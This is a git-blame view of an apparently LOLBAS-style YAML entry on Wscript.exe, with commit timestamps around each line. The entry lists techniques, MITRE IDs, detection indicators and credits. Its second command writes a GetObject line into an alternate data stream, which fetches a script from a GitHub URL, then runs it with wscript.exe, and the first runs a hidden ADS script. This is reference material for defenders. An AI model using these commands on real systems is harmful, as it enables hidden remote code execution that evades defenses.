2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Wscript.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Used by Windows to execute scripts
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: wscript c:\ads\file.txt:script.vbs
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Execute script stored in an alternate data stream
|
|
|
|
Usecase: Execute hidden code to evade defensive counter measures
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2018-09-24 21:59:43 +02:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
2019-06-27 17:27:31 +02:00
|
|
|
- Command: echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
|
|
|
|
Description: Download and execute script stored in an alternate data stream
|
|
|
|
Usecase: Execute hidden code to evade defensive counter measures
|
|
|
|
Category: ADS
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2019-06-27 17:27:31 +02:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\wscript.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\wscript.exe
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Code:
|
|
|
|
Detection:
|
|
|
|
- IOC: Wscript.exe executing code from alternate data streams
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|
2019-06-27 17:27:31 +02:00
|
|
|
- Person: SaiLay(valen)
|
|
|
|
Handle: '@404death'
|
2021-01-10 16:04:52 +01:00
|
|
|
---
|